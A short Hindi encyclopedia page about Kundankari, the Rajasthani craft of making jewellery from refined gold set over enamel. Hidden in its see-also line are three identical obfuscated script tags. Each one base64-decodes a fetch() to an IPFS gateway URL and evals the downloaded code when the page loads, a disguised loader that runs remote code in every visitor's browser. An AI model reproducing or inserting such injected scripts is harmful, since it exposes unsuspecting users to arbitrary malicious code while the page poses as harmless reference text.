एक्स्प्रेशन त्रुटि: अनपेक्षित उद्गार चिन्ह "२"।

कुंदनकारी

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें

कुंदनकारी

कुंदन के आभूषण बनाने की कला को 'कुंदनकारी' कहते हैं। राजस्थान का जयपुर कुंदन के आभूषणों के लिए प्रसिद्ध है।

  • 'कुंदन' शब्द का अर्थ है- अत्यन्त परिशुद्ध सोना। इसमें अत्यन्त परिष्कृत पिघला हुआ सोना उपयोग में लाया जाता है।
  • कुंदन को 'बीकानेरी आभूषण' या 'जयपुरी आभूषण' भी कहते हैं। इसके पिछले भाग में विविध रंगों और डिजाइनों की इनेमल किया जाता है जबकि सामने के भाग पर कुंदन लगे होते हैं।

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>इन्हें भी देखें<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>: राजस्थानी कला, राजस्थानी धातु एवं काष्ठ कला एवं राजस्थान की हस्तकला<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

संबंधित लेख